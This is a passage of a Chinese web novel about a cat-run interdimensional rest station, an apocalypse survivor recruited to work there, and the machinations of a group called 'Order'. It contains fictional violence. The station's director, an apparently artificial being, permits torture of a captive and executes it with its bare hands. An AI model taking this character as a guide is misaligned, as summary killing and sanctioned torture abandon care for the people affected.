几分钟后,一只滑溜溜的、浑身沾着泡沫的小猫从浴室门的猫洞里滑了出来,喵了乌拉地四处逃窜,然后很快被狸花猫用肉垫暴捶了一顿,押送回浴室洗澡了。
一进浴室,浓烈的血腥味呛得狸花猫打了个喷嚏,忍不住对着卫锦程抱怨一般喵喵叫了起来。
“不好意思,我们那边没有多少干净的水可以用,所以只能先来这里……”
卫锦程在猫猫面前多少有点没底气,毕竟接下来,她也要像凯桑德拉他们那样用猫猫们的自动售货机养活他们世界的人了。而且现在,她还来蹭猫猫们的水用。
狸花猫歪了歪脑袋,不明白卫锦程为什么看上去有些不好意思。狸花猫不会有这种感觉,它以前在路边吃人类白食的时候可以说吃得理直气壮。
有可以利用的人和物就用,在狸花猫看来是生存时理所当然的事情。如果它觉得不合适,它自然会拒绝。
这时,毛绒绒的布偶猫从门口探进身子,背着猫猫们准备的换洗衣物,对着卫锦程疑惑地喵了一声,询问她现在是不是还用不到这些。
布偶猫的判断很正确,现在卫锦程连猫都没洗完,别说她自己了。不得不说,在自己很脏的时候来洗很脏的猫真的是非常明智的决定。
狸花猫有些不爽布偶猫来对它的常客献殷勤,便喵喵叫着把布偶猫往外拱,同时突然转身邦邦两爪精准拍到又准备向外逃窜的小猫身上。
不许,不洗澡,还在休息站里乱跑!
狸花猫对小猫威胁般哈气,而小猫也隐约感觉到这只猫好像是这里的猫老大,便茫然地趴在原地呜呜叫着,有些可怜。
眼看着这里卫锦程一个人是不太好搞了——毕竟休息站和其他人类建筑不太一样,地形和家具都做了适猫化设计,人类想在这里抓住猫猫难如登天。
于是,狸花猫就蹲在浴室里,有些不耐烦地甩了
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甩尾巴,看着卫锦程洗猫。那只小猫一想跑,狸花猫立刻邦邦两爪上去,这才把猫洗好了。
“你们这里还能招收新猫吗?”卫锦程试探着开口问道,“我们世界……你应该知道,现在还不适合猫居住。”
狸花猫看着那只被毛巾包裹着的、呜呜叫着的小猫,犹豫了一下,跳到它身边给它舔了舔毛,就算作接纳了它。
被舔毛的小猫很快安定了些,感受到自己被这里的猫群接纳后,小猫多少有了些安全感,也就慢慢安静了下来。
管理局的人跟狸花猫讲过休息站的自主招收员工权限和数量限制,但狸花猫忘了,反正还有名额,毕竟它也没招过人。
这么一下,狸花猫突然抬头看着卫锦程,喵喵叫了几声,意识到她听不懂后,立刻顺着猫洞跑了出去,不一会就叼了翻译器过来,对着翻译器一通喵喵喵。
——你要不要,来给猫打工?我们可以给你更多帮助。
人类的手是人类进化得最成功的部位。手可以制造与使用工具,可以抓取物体,更重要的是——能摸猫。
人类可以揉猫猫,可以帮猫猫洗澡,可以给猫猫举高高……抛开那些坏人类不谈,狸花猫确实很喜欢和人类相处,偶尔还会看心情帮人类掏些他们够不到的东西。
对于销冠来说,抓老鼠自然也不在话下。狸花猫发现人类看见老鼠有概率发出尖叫,判断人类大概害怕老鼠,于是时不时也会给人类打工抓老鼠。
既然猫可以给人打工,那人当然也可以给猫打工!狸花猫有些期待地看着卫锦程,尾巴高高竖起,显然很开心。
之前提到过,休息站是管理局的外包机构,只有管理员和休息站有直接雇佣关系,而其他员工的情况大概是,“我附庸的附庸不是我的附庸”。
这样的话,卫锦程就可以享有休息站的员工权限和员工福利了。理论来说多少有点钻了空子,毕竟卫锦程还没脱离她的世界,但她的世界已经被判定为半废弃世界了,在宇宙法中很难找到依据判定他们违规影响文明进程。
所以现在的情况就是,只要所长不管,就没人会管他们。而狸花猫知道,暮时时刻监控着休息站内的动向,只要五分钟内所长没有阻止,就是默许了。
卫锦程愣了愣,略微移开了目光,看了看自己衣服上还没冲净的血迹:
“……你确定我可以吗?”
“喵。”
狸花猫有时候会觉得人类磨磨唧唧的,如果它觉得她不可以,那它为什么要发出邀请呢?
卫锦程蹲下身,轻轻挠了挠狸花猫的下巴,嘴角微微上扬了些。她平时总是没什么表情,这时候也没意识到自己在笑,不过她确实笑了。
在末世,这种被信任的感觉已经不能用“奢侈品”简单形容了,却能非常简单地在猫猫这里得到。
“我当然愿意,谢谢你。”
就在狸花猫开心地蹭了蹭她的手心时,却听见卫锦程继续说道,
“对了,在温言谨来之前,我顺便把你们都洗了吧。”
“喵!”
44. 休息一下吧
温言谨和卫锦程不一样,她只能等到开店的时间才能来这里。几乎是猫猫刚按下开店按键,温言谨就冲了进来,大概是早就在门口等待着了。
“卫姐姐,我找人去……呃,这里是怎么了?”
温言谨看着室内一个个被毛巾包裹着的猫,露出了困惑的神情。而狸花猫从毛巾里钻了出来,抖了抖还有点湿的毛,无奈地喵了一声。
人可以不用这么勤快,真的。
不过休息站的猫猫偶尔洗个澡也挺好的,狸花猫也就没拦着干劲过多的卫锦程,只是暗暗想着一定要找个时间告诉她猫猫不用经常洗澡。
卫锦程看着温言谨,恢复了面无表情的样子,对着她点了点头:
“没什么。比起这个,你愿意帮助我吗?”
温言谨用力点了点头,认真地看着温言谨说道:
“我觉得我有义务帮助你们,并且……我也确实想做些什么。”
在末世已经听不到这样助人为乐的话了,卫锦程第一时间有些不适应,沉默了一会才继续开口:“我们要做什么?”
事实上,卫锦程这么沉默寡言又避人的最大原因是——她不属于非常精明的人,甚至可以说稍微有点容易被骗,所以在末世秉持着少说少错的原则,平等地警惕所有人。
温言谨思索了一下,一边斟酌一边开口:“首先对一下时间线吧,你们的世界里,末世是什么时候开始的?”
末世发生的时间显然是两个世界的分歧点,这一点是最重要的。从那位所长的口风来看,这次灾难似乎还牵扯到别的世界的人,因此搞清楚发生时间非常重要。
然而听到卫锦程说出的年份时,温言谨瞪大了眼睛,脱口而出:“这不就是去年吗?”
说完,她掏出纸笔,低头在纸上写写画画,将信息都记了下来。已知两个世界的时间并不完全同步,而末世在没受到干扰的情况下未发生。
她无法确定创造一个世界对于管理局到底是怎样的工作量,但结合这些信息进行推断的话……
“……我们的世界其实是去年才被创造出来的?”温言谨笔尖一顿,低声自言自语,“那我……”
我是谁?我的记忆是什么东西?
哲学系学生突然被哲学的终极问题攻击了一下,而卫锦程没察觉到,还以为温言谨在说另一件事。
“我不知道你在我的世界这边有没有活下来,但你看上去是个好人,大概率死了吧,好人活不下来。”
卫锦程说话有点难听,但她确实不是故意的——指望一个长年未和人进行过友善交流的人说出什么好听话来,未免太苛刻了,
“到了今年,聚居地的数量已经很少了,听说大概还有七十万人左右吧,其他零零散散的不知道。”
“七十万人?多大范围?”
“一共还有这么多人,其中有七万异能者。”
卫锦程看温言谨准备得齐全,居然还带了地图,便随手在地图上画了画,
“现在活着的人类大都分布在这个部分吧,我忘了原先这些地方叫什么名字了,大概就是这些位置。”
全球万分之一的存活率……
温言谨静默了一下,不知道该说什么,随后瞟了一眼地图,很快紧皱起了眉头。
“不对,如果末世开始时是小规模变异的话,那各个国家不可能没有反应,至少应该不会到要灭绝的地步。
如果是大规模变异,你们的聚居地不应该在这几个地方,这些地方之前人口密度这么高……这像是人为操纵的结果。”
但即便察觉到了这一点,温言谨也依然不知道毁灭世界的那个大概是高战力文明的人到底有什么目的。
这就是宇宙法严禁各文明擅自与不发达文明交互的原因——战力等级高或科技发达可不意味着智慧生命就一定文明友善,在这种情况下,低等文明根本没有还手之力。
狸花猫见两人似乎暂时不需要猫陪,便跟德文猫交代了几句,顺着自动售货机旁边的秘密猫洞跑了出去,直接传送到了暮时那边。
人想不明白,但是猫可以抄答案。
所长看着狸花猫和抱着狸花猫同样看着祂的暮时,用平淡的语气回答道:
“目的?显然,‘秩序’的那群生物在培养新生力量。异化个体不是天然存在的,所有智慧生命刚出生的时候,都天然具有极强的主体性。
比起进入星际、具备求助宇宙法和各个志愿组织的文明,当然是用初级文明作为温床要更划算。成本低,并且能筛选出心智强大的种子个体。
战力都不是问题,反正改造完之后都差不多,没什么难的。最主要的,是让一个智慧生命的自由意志完全服从于它们的理论。
要做到这一点,第一步,降低环境道德以提高个体接受度;第二步,以‘救命稻草’的形态出现,引发人趋利避害的本能。
这套方法的关键在于,要让智慧生命认为是它们‘自己的选择’,而非‘外来意志引导’。”
狸花猫努力歪着小脑袋想要跟上对话节奏,而暮时想了想,举了举手,像小学生提问一样开口询问:
“这些理论听起来像是之前人事部的boss的研究方向?”
“是,我借鉴了。我对人类感情的研究完全依赖于第三席,非常感谢它让我进一步靠近我的目标。”
所长倒也完全不避讳,干脆利落地点了头,随后瞥了一眼监控上温言谨与卫锦程两人交谈的画面,少见地露出了微笑,
“看来,这次我们的休息站成功抢先了一步,至少保护了一点微弱的火花。”
另一边,卫锦程看着温言谨,犹豫了许久,指了指自己的太阳穴:
“……你知道,‘系统’这个东西吗?就是,类似于我小时候看过的小说,你应该也知道。”
“系统?”
卫锦程点了点头,认真说道:
“我在觉醒异能的那一天,我听见耳边有个声音说,让我去接受这个世界。只要我目睹他人的惨状并且不出手相助,我的能力就会增强。它说,这是对我的‘锻炼’。
而从我加入‘文明’聚居地开始保护普通人后,我就再也听不见系统的声音了,只有获得过的能力还在。”
几乎是一瞬间,温言谨立刻就意识
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到,那些家伙对卫锦程所在世界的干涉并没有结束。
而卫锦程显然早在被所长告知真相时就察觉到了这一点,她紧盯着温言谨,一字一句地问道:
“你告诉我,文明世界的人,我在看到别人哭泣、受伤或死亡时会感到悲伤或痛苦,这是软弱而令人恶心的幼稚吗?”
“……不,不是,绝对不是。”
“是吗?我都快忘记了。”卫锦程喃喃自语,又微微低头,鬓边的短发微微垂落,“我都快忘记了,我以前不会在看到别人死去时,为自己的能力变强而感到放松甚至喜悦。”
正向反馈、情绪驯化、再加上整体环境的变化,几乎已经抹去了她原本的样子。不幸不是错误,但不幸发生了。
许久,她抬起头,深吸一口气,对温言谨说道:
“我需要你的帮助。之后我会跟你说很多末世里的事情,我需要你告诉我,告诉我这些事情不对,告诉你觉得很难受,告诉我……我们应该感到悲伤和愤怒。”
卫锦程不知道自己能做什么,不知道她能不能改变世界,但此时她所拥有的,只是几乎要溢出来的、冲向不幸的本能恨意。
绝不能让它们如意。
监控室内,所长轻轻眨眼,瞳孔中微微闪烁着光点,将卫锦程的话记录了下来,记录在祂的数据库里。
祂从智慧生命的挣扎中,感受些许不知从何而来的悸动,以支撑祂存活下去。不然,这个宇宙的一切对祂来说都太没有意义了。
另外,这也是休息站计划的一次重要成功记录。祂需要记录下这些数据后,估算出最佳的资源配置方案,对休息站计划的整体路线进行数据层面的把控调节。
有时候,人只是需要休息一下,只要得到一些放松和慰藉,就会做出微小的不同选择,而这些选择可能会让他们成为完全不同的人。
正是基于这个概念,管理局才推出了休息站计划。
比起所长,狸花猫则更加实际一点,它想了想,有些担忧地喵了一声——以前它在外流浪讨生活的时候,知道有些人类只会喂允许他们摸的猫猫。这倒不是问题,等价交换罢了。
但它突然想到,如果卫锦程不听话的话,那个叫什么玩意的组织会不会把她的能力收走呢?
暮时很快也想到了这一点,连忙问道:“领导,‘秩序’现在有没有能力继续掌控那个世界?卫锦程这边接受的改造是外置型还是改造型?”
现行的改造模式主要就分为这两种,顾名思义,前者是可拆卸的改造,后者则是直接作用于智慧生命本体。
“外置型,而且早就被收走了。”
“喵?”
狸花猫有些困惑,刚才卫锦程给那只新来的猫洗澡的时候,还用了隐形能力。
所长看着排排坐着的一人一猫,双手抱在胸前,语气理所当然:“看我干什么?是‘秩序’先违反宇宙法干涉低等文明,我的行为只是维持被干涉的低等文明个体保持现状,符合宇宙法规定。”
每一天,“秩序”都在尝试搜集证据把所长告上宇宙法庭,但结果显而易见,生物在这方面是干不过人机的。
45. 算算账去
就在人机在应付人和猫的时候,温言谨正有些手足无措地试图安慰卫锦程,轻轻抱了抱她。
卫锦程慢慢冷静了些,有些不习惯地往后撤了撤,对温言谨摇了摇头,示意她没事了。
为了活跃气氛,温言谨岔开话题,开了句玩笑:
“要不我让顾行来帮你们占个星吧,虽然就是图一乐,但多少放松一下。而且,他占得还蛮准的……”
卫锦程听到这个名字,却突然明显愣了愣,脱口而出:
“这个人我听说过,他现在还没死吗?”
随后,哪怕是卫锦程也意识到自己说话有些不礼貌了,便道了个歉,想了想该怎么说:
“在末世刚开始的时候,他好像是被认为觉醒了预知异能。当然通讯设备还没断,经常听见他对我们说些鼓励的话。”
对于这一点,温言谨倒是不意外。她对她的发小当然足够了解——顾行的性格很温和,一方面是疾病原因,另一方面这个人也确实天生脾气就比较好,很在乎别人的感受。
“后来没过两个月,他就死了。当时公认的说法是心脏病发,但我还听说,有人看见他的胸腔都被整个掏空了,并且没有啃咬痕迹,不像是丧尸做的。”
卫锦程回忆了一下,把自己知道的大概都说了出来。这件事在当时几乎是个恐怖故事了,人们还没习惯末世的环境,还是文明世界的思维去看待这件事。
要是放到五六年后,还活着的几乎所有人都能眼睛不眨地说出,“那大概是被用刀剖出来吃了吧”。
在刚出现异能的一段时间里,一直有流传着“把异能者的身体部位吃下去就能获得异能”的说法。现在看来,这个说法或许也是“秩序”有意散播的。
温言谨感到有些不舒服——并不是针对卫锦程的,只是想到这件事发生在熟人身上的画面,本能感到难受,于是便试着转移了话题:
“卫姐姐,接下来你打算怎么做?”
“只要把非要自相残杀的人都杀了,就没有人会自相残杀了。”
卫锦程认认真真地阐述自己的想法,丝毫没觉得有什么需要犹豫的,
“一边杀丧尸,一边清理内部。管理的事情交给原先的聚居地长官了,我不擅长和人打交道。”
当然是有问题而且问题大得没边的计划,但卫锦程以前也只是个小职员,现在让她做这种决断和赶鸭子上架没有区别。
温言谨有些担忧地确认道:“那个长官可靠吗?”
“是个令人难以置信的好人。”卫锦程毫不犹豫地回答道,“部分原因是,那个人从末世刚开始就觉醒了很强的异能,所以在面对一些残酷的事情时多少有的选。”
无法否认的是,善良是需要保护的事物。当能力不足时,人就不得不面临是否要违背善良的选择。做这样的选择次数越多,精神就被消磨得越厉害。
就在两人说话间,门口的风铃响了起来,随之而来的,是清朗的的吟诵声。
“追求着爱,追求着美,追求着生命最令人震撼的抉择瞬间。这便是人于无意义的世间存在的意义。”
乔伊斯推门而入,后面跟着小队的人。卫锦程也将事情和他们说了,希望能借鉴他们那边的经验。
乔伊斯在坐下后,拿出了手风琴,轻轻拉出了简单的旋律合奏着:
“即便知道这世界的一切本如露水般短暂,我们也依然感到汹涌的情绪于心间激荡,无法散去……
抱歉,突然有了些灵感,忍不住想要说出来。”
艾尔合上了手里的书,叹了口气:“需要的话,可以把你们领地的基本情况整理好给我,我尽量规划一下。至于如何表现得像个领袖,学我们队长就行了。”
凯桑德拉刚把手中的大剑放到安全的地方避免猫猫碰伤,被点名后转头看向这边,笑了笑:
“别客气,都是朋友,有什么能帮忙的尽管说。不用过意不去,之后有机会我们也会找你帮忙。”
猫猫们看人类都在忙,便随便找了个地方自己窝着咪咪喵喵地玩。有的窝在人的脚边,有的窝在人的手边,有的窝在人的书上,还有的挤在人的座椅后面,挤得人没处坐。
猫也不知道呀,猫只是随便找了个舒服的地方待着,人怎么能说猫碍事呢?
在猫猫休息站谈事情的一大好处就是,不管多么令人难过的事情,谈论的中途总得时不时把捣乱的猫抱走,从中稍微脱离出来,不至于一直沉浸在情绪中。
另一边,狸花猫轻轻甩了甩尾巴,一看就是在思考什么坏主意。所长瞥了猫一眼,抱起猫和它对视。
“不行。乱说话的话,你会被宇宙法庭制裁的。严禁告知低等文明有关任何高等文明的运作机制,哪怕是‘秩序’这样的存在。”
这条规定事实上也是为了减少文明之间的冲突。懵懂无知的低等文明进入宇宙时,基本都是带着好奇而谨慎的心态,很容易融入宇宙环境。
但如果低等文明早早过于了解高等文
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明的存在,却大概率在文明发展过程中会演变成敌视、恐慌、警戒等排斥态度。
没有人喜欢头上时刻悬着一把未知的剑,这种长期的压力、对各种情况的预想假想,多半会发展出敌对的心理。
“喵……”
“也别指望我。我提前说明,虽然我确实不怕宇宙法庭,但是如果真的罪证确凿,我会认罪,这也是‘秩序’一直致力于起诉我的原因。”
所长抱着狸花猫,轻轻摸了摸它的小脑袋,解释道,
“因为宇宙法庭需要权威,宇宙需要宇宙法庭。如果法庭无法制裁我,那么它就难以继续完成‘审判’的工作。到时候,就不是一两个文明这么简单的事情了。
所以,把卫锦程的世界清理干净对我来说不是难事,但我不能做,除非我能找到合法依据。
甚至于把秩序连根拔除也不是什么大不了的事情,只是没有意义。毕竟只要抗异化个体存在,就总会有这样的组织。所有生命都具有活下去的本能,异化个体也不例外。
你们两个似乎对异化个体有些误解,正好,之前管理局的两支温和派希望我帮忙做些宣传培训,你们都过来吧。”
狸花猫只是打了个哈欠,趴在所长怀里眯着眼睛,意思也很明显——猫可以去,但你得抱着猫,猫懒得走路。
倒不是狸花猫不记仇不想报复,单纯是它聪明的小脑袋知道,怎么处理那个人这件事不是它能够掺和的,所以就只是在旁边看个热闹。
反正也没有猫猫真的受伤,对狸花猫来说,比起记仇报复,吃罐罐要重要一百倍。所长之前说会个人给它账户上打很多猫猫币作为谢礼,这就够了。
真的打了很多钱,至少狸花猫的小脑袋已经算不过来是多少了,反正花不完。
而暮时对异化个体的印象确实已经跌到谷底了,对所长的要求有些抗拒:
“呃,领导,我还得看着这边监控……”
“我连接上这些设备了,我在看,出了事情我负责,走。”
所长说完,见暮时多少有些兴趣缺缺,便又补充了一句,
“攻击了猫、你和我的那个智慧生命抓到了,正关在分局那边,不想去亲自审问一下吗?”
这下暮时一下子精神了,立刻站起身拍了拍胸膛说道:
“领导你这话说的,我从来都是领导说东我就不往西,我最喜欢做的事情就是服从命令了……”
“差不多行了。”
“是!”
46. 猫好像听说过一个不一样的人^^……
根据生殖方式,宇宙各文明通常将智慧生命分为有性与无性两种。而存在于宇宙间的性别歧视,主要是无性别物种对有性别物种的歧视。
很多激进的观点认为,有性别的物种较为低劣且冲动易怒,性别是进化不完全的表现。这一派的主要依据就是,高等文明中无性物种的数量是远多于有性物种的,足以说明有性物种更难以进入高等文明行列。
当然,这种说法是完全站不住脚的。包括在“无性别”类别里的种族基数同样远多于有性物种,且它们的感性文化大都可以用“贫乏”来形容。
不过有些智慧生命只是想沉浸在自己天生高其他物种一等的优越感中罢了,并不在乎事实是不是这样。
言归正传,“秩序”中的所有成员都是无性智慧生命,它们会刻意选择减除自己的感情和本能,以达到更高的客观效能。
像如现在,狸花猫看着牢笼里坐着一个身着白衣、非女非男的类人生物,歪了歪头,耳朵动了动——好怪的生物,决定用鼻子闻闻看。
所长轻轻把开始挣扎的狸花猫放在地上,允许它去接近一下,同时一把拉住旁边在打量刑具的暮时:
“别乱动,操作不到位很容易致死。”
狸花猫抬头看着这个人,鼻子微微动了动,闻到了很清新的气息,像是雪融化时略有些冰冷的朝雾,有些熟悉。
它想了一会,终于想起来这个气息和那个白雾是一样的。于是狸花猫伸出爪爪,轻轻拨弄了一下面前人的衣角,因为难以辨别而困惑地喵了一声。
猫闻到不太理解的气息时会张开嘴,用犁鼻器去感受气息,以便辨认其他生物。
那个人抬手就想把猫打走,但立刻就动不了了。所长手上拿着一个类似游戏手柄的东西,随意晃了晃摇杆,控制着它的动作:
“别动,它有问题要问你。之前它就问过我,我答不上来。”
“喵。”
狸花猫甩了甩尾巴,认认真真喵了几声,而那个人低头看着猫,想了一会,抬起头看着所长:
“它在说什么?”
“问你能吃饱穿暖,无病无灾的时候,为什么要干坏事。”
所长不慌不忙地丢给那人一个翻译器,拉了两把椅子过来,一把给暮时,另一把自己坐了上去,
“说实话,我也很好奇。实验材料,给我们解答一下吧。”
狸花猫一直对于所长叫它“猫”有些不满,现在看来,这好像只是祂很朴素的人称代词罢了。
那人嗤笑一声,低头看着狸花猫,露出了嘲讽的表情:
“为了能够站在有权力审判别人的位置啊,就像你们一样。”
听到这句话,所长点了点头:
“嗯,很不错的答案。我对你进行了背景调查,你出生于一户普通的农夫家庭,因天资出众被仙门看重收养,从此将门派视作自己的家。
收养你的门派在修仙者中只能说是二流,时不时被大门派欺辱。据你的门派中人说,你似乎总是在说着想要振兴门派。
很普通的异化理由,你有什么要补充的吗?”
“……普通?你说得对,确实很普通。”
它听到所长的话,笑出了声,好像真的听到了什么好笑的事情,
“大宗门从别的门派强行带走适合做炉鼎的人,打杀我视作亲人的门派姐妹兄弟,就连我师尊去讨个说法都没能把他们救回来,还受伤被迫闭关了三百年。
所有人都说这很普通,修仙之路就是这样残酷,弱小的人只能责怪自己弱小。好,我接受了。
我的师妹,我的师弟,在他们眼中都是路边的野狗,因为我们弱小,因为我弱小,所以哪怕我将他们视若珍宝,在旁人眼里也一文不值。
我问你,自诩正义之士的人们,这样普通的事情发生的时候,你们为什么不来审判他们呢?
我做的也不过是同样的最普通的事情,你要杀我便杀,弱肉强食,我没什么好说的。装模作样就不必了,是不是还要再来一句‘就算这样你也不应该伤害无辜的人’?”
“嗯,问得好,你们两个觉得呢?”
所长完全没有被它的话动摇,甚至没有产生情绪,只是看了看狸花猫和暮时,像上课提问的老师一样,
“顺带一提,这个问题我也答不了,你们可以试着说服它一下。”
暮时张了张嘴,看着它戏谑嘲讽的表情,突然不知道说什么了。她想起某天她看监控时,修仙世界的人来小心翼翼地讨好猫猫们,询问师祖的下落。
所以管理局不审判道德,并且禁止成员在工作时审判道德。因为宇宙没有道德可言。文明之间的道德相差之远,无法用任何标准度量。
“只要抛弃对生命的普遍理解,都叫做异化,这就是异化的定义,但异化的动机可能千差万别。
并不是说异化的动机一定穷凶极恶,相反,绝大部分异化背后,都有着能够被道德观或生物学理解的原因。”
所长
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平铺直叙地开口,继续完成这场员工研学。这个人的经历对祂来说,只是教具而已,
“和猫不一样,猫不用理解这个也可以,但蛇派的小姑娘,你太冲动了。第五席让我传达,你需要接受,你们做的事情不一定是不正义的,但一定是不公平的。”
激进方向之所以人少,就是因为不是所有人都能对其他有悲惨遭遇的人无动于衷的。在面对这样有因有果的指责时,很多人都会动摇。
所长静默了一会,看了看牢笼中的它:
“甚至有时候,你们激进方向的人要做的事情和它是没有区别的,只是立场不同而已。你知道的吧,你们需要做的最多的事情就是‘杀死异化生命’。
这个人你能够下手,是因为你觉得它确实也犯下了足够的罪行,但迟早有一天,你会面对或许罪不至死甚至只是形势所迫的异化生命。
并且,这个世界上不存在真正完全异化的个体。所有智慧生命,包括异化个体,心底都拥有情感——这一点迟早会让你感到非常不舒服。
即便不正义,不公平,甚至要违背你自己的意愿,你也愿意坚定地用激进的手段维护最大多数智慧生命的利益吗?
如果你愿意,那么第五席让我替它欢迎你正式加入蛇派,并将你调任总部;如果你不愿意,你可以考虑一下其他方向。”
狸花猫还在闻着那个人,总觉得似乎隐约想起了什么,突然喵喵叫了起来。
对了,很久很久以前,它第一次接触修仙世界的人时,就有人就拜托过它帮忙寻找师祖的下落了。当时,他们好像就给它闻过类似的气息,但在他们口中,这个人好像是个完全不一样的人。
说它以一己之力将门派打造成修仙界第一宗门,说它总是对年轻的小辈格外照顾,说它是整个宗门最为崇拜的师祖、是宗门最大的靠山……
“好了,研学到此结束,你们回去吧,接下来我要对它进行处决了。在它死前想随手折磨报复它一下也可以,它现在没有智慧生命权,我不会进行干涉。”
所长等了一会,见一人一猫都没有动静,便走到那个人面前,蹲下身,
“我对你没有个人层面的好恶,希望你下辈子出生的时候,我已经把这个宇宙改造好了。祝你到时候能有得选吧。”
祂不喜欢没有效率的行动,所以只是抬手在它脖子上一拧,面前的生命便没了声息。
“……下辈子,别再投胎到‘秩序’的养殖世界里,被当成棋子用了。”
47. 狸花猫猫会梦到人类的虚无哲学吗……
是的,和卫锦程的世界一样,它的世界不过是战力层次高一些的养殖场罢了。如果深究修仙世界的规则,就会发现这里同样是“秩序”的培养皿。
六根清净,斩断欲念,少沾尘缘……对飞升的渴望、对力量的追求、弱肉强食的环境以及对活生生的人世间高度忽视,这些都是非常典型的异化环境。
人之所以为人,就是会哭会笑,会在乎世间的纷扰,会有固执的念头和爱与被爱的需求。人本身就是由欲念组成的,斩断欲念便是彻底否定自己的存在。
暮时意识到这一点后,忍不住开口问道:“领导,你这算是临终关怀?”
“我没有那么温柔的概念,我只是认为它就算知道了也没用,所以没有必要告诉它了。”
所长的语气一如既往的冷漠,转身看向呜呜喵喵的狸花猫,歪了歪头,
“你有什么问题吗?”
“喵……”
狸花猫拱了拱那具尸体,有些为难。修仙世界也有不少休息站的常客,而且很多人问过它这个人的下落。这下,猫要怎么和客人们交代啊。
“没事,明天起修仙世界的通道就会关闭,它们失去资格了。”
所长摇了摇头,蹲下身摸了摸狸花猫,
“管理局资源有限,没有必要在意所有人,尽力而为就好。”
狸花猫有点难过。它不喜欢看到人死去,这会让它回想起小卖铺里那个暖烘烘的老人变成了冰冷的墓碑。
不过这种略微拂过心头的难过很快就消失了,毕竟说到底,面前死去的人是敌人,和狸花猫并没有多么亲厚的关系。而真正在乎这个人的人们,再也见不到它了。
而狸花猫完全不纠结的理由很简单——猫其实不太理解它到底干了什么。狸花猫知道挨打会痛,但这个人没打到猫,所以它没能理解这个人为什么是坏人。
这个人死后修仙世界的人会怎么样,那个世界会发生什么事……这些狸花猫只是稍微想了想就放弃了。
猫脑袋疼,人类的世界实在太复杂了,猫只要打工听安排就好了,好好让猫吃饱住好一切都好说。
回到休息站后,狸花猫就把这边的事情全忘了——因为布偶猫正在绕着卫锦程的小腿,让她举高高玩。
布偶猫不仅毛长,体型也比其他猫大一圈,走起路来稍微抖一抖,室内就飘满了白色的猫毛。在物理学还没有失去作用的时候,布偶猫会比其他猫足足重上将近一倍,因此很少有人愿意一直举着它玩。
凯桑德拉倒是不会累,但她更多的时间在忙着和小队的其他人商量事情。艾尔会敷衍地召唤出透明的手来陪猫猫玩,但布偶猫作为专业的宠物猫,还是更喜欢和人互动的感觉。
两倍重量的猫猫带来的,是埋进猫毛时两倍的满足。凭借品种优势,布偶猫时不时就有销售额要超过销冠的趋势,这让狸花猫时常有些危机感。
卫锦程有些好笑地看着狸花猫喵喵地挤开布偶猫,并假装不小心踩了它的毛一脚。被小猫咪作为客户争抢的感觉确实不错,至少卫锦程决定给它们一猫一个罐罐。
“喵?”
狸花猫左右看了看,见这边的客人都走得差不多了,便对卫锦程发出了疑问的猫叫声,关心一下她那边的事情怎么样了。
“嗯……大概听懂了吧。”卫锦程点点头,看上去有些自信,“总之先把聚居地的数据整理出来,给那边的法师看看。”
其实根本没懂。卫锦程之前一直在当独狼,谁知道怎么管领地啊。
狸花猫看她说得这么笃定,也就高高竖起尾巴喵了一声,朝她跑过去让她帮忙梳毛了。
人类是什么生物?善良的?丑恶的?目光短浅的?令人震撼的?
不,让猫来说的话,人类是很会给猫梳毛的生物!同时,当然也是很会给猫挠痒痒的生物。
时常有人类喜欢抱着猫猫的小圆手和肉垫叫唤可爱,但在狸花猫看来,人类的手居然有五根能分开的手指,简直不可思议。
它好几次对着售货机喵喵叫,请求所长给它安装外置手,但都被以“变得不可爱的话,会影响休息站的运营”为由驳回了。人类为什么会害怕自己的身体部件呢?真是奇怪。
狸花猫知道“可爱”似乎和它的业绩直接相关的,于是曾经冥思苦想过到底什么是“可爱”。最后猫得出结论——人类莫名其妙。
至今,狸花猫也没完全理解人类口中的“可爱”是什么意思,只知道自己是可爱的,其他猫也是可爱的,好像狗也是可爱的。
但老鼠是不可爱的,而仓鼠是可爱的,有时候仓鼠吃了仓鼠就又不可爱了,猫确实搞不懂人类的标准。
不过狸花猫知道自己大部分时候是可爱的,而人类对“可爱的生物”容忍度极高。换言之,它被人类夸可爱的时候,也会感觉到这个人类至少暂时是安全的,对它没有恶意。
在被卫锦程梳完毛后,狸花猫舔了舔自己的爪
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爪,暂时中断了今天的小猫哲学思考,转而关注起了更现实的问题。
救完所长后,那个可恶的奇怪人类又不愿意多摸摸猫了,但给猫打了一大笔猫猫币作为回报。所以,现在猫猫休息站可以说完全不用担心生活方面的问题了。
其他猫猫不会算数,暂时想不过来这个问题,但狸花猫清楚地知道,它们现在即便不营业,也可以吃喝玩乐到猫猫数不过来的时间尽头。并且在所长的庇护下,也没人敢欺负它们。
但是之后要做什么呢?狸花猫有些苦恼地甩了甩尾巴,跳到自动售货机上开始发呆。
很少有猫咪能有这样闲暇的机会思考猫生。流浪的猫猫自由自在,但时常要为生存和病痛发愁;家养的猫猫有的是时间,但它们的猫生已经注定没什么能做的事了。
那么,狸花猫想做什么呢?它发现自己好像没什么事情能做了。和布偶猫争个销量第一或者最受欢迎,硬要说的话在资源充裕的情况下也没什么意义,反正大家都能吃罐罐吃到饱了。
狸花猫低头,看着卫锦程小心翼翼地和正在哈气的小煤球对视,努力解释她没有恶意,忍不住又开始想——这个人类会死吧。
对了,如果去考虑未来的话,那她面对的敌人未免太严苛了,她应该会死吧。有一天再也来不了休息站,再也见不到了,她说过的话,做过的事情,全都失去了意义。
所长说过,卫锦程会死,凯桑德拉他们也会死,温言谨的世界倒是安全,但她会在她的世界里越来越忙,直到失去梦想,再也无法进入休息站。
休息站里人来人往,不过是为了找到能够打破所长预言的、0.3%的那些世界罢了,那剩下的人怎么办呢?
所有人都喜欢漂亮的猫猫,所有人都喜欢完美的人,所有人都喜欢顶端的少数,那其他人怎么办呢?
不那么漂亮的猫猫,不那么完美的人,以及少数之外的大多数,真的就不重要吗?
狸花猫发现,随着它思考得越多,想到的越多,似乎猫猫的烦恼就越来越多了。不过狸花猫随时都能放下这些念头,遵循猫猫的本能。
管他的呢,流浪猫想要什么东西都得自己去想办法,那么想让别人活下来的话,当然也得想办法。
于是狸花猫从售货机上跳了下来,跳到卫锦程脚边,趴在她脚背上发出呼噜呼噜的声音。
别害怕,就算你只是普通的人,就算你不是那么厉害的人,也会有猫喜欢你。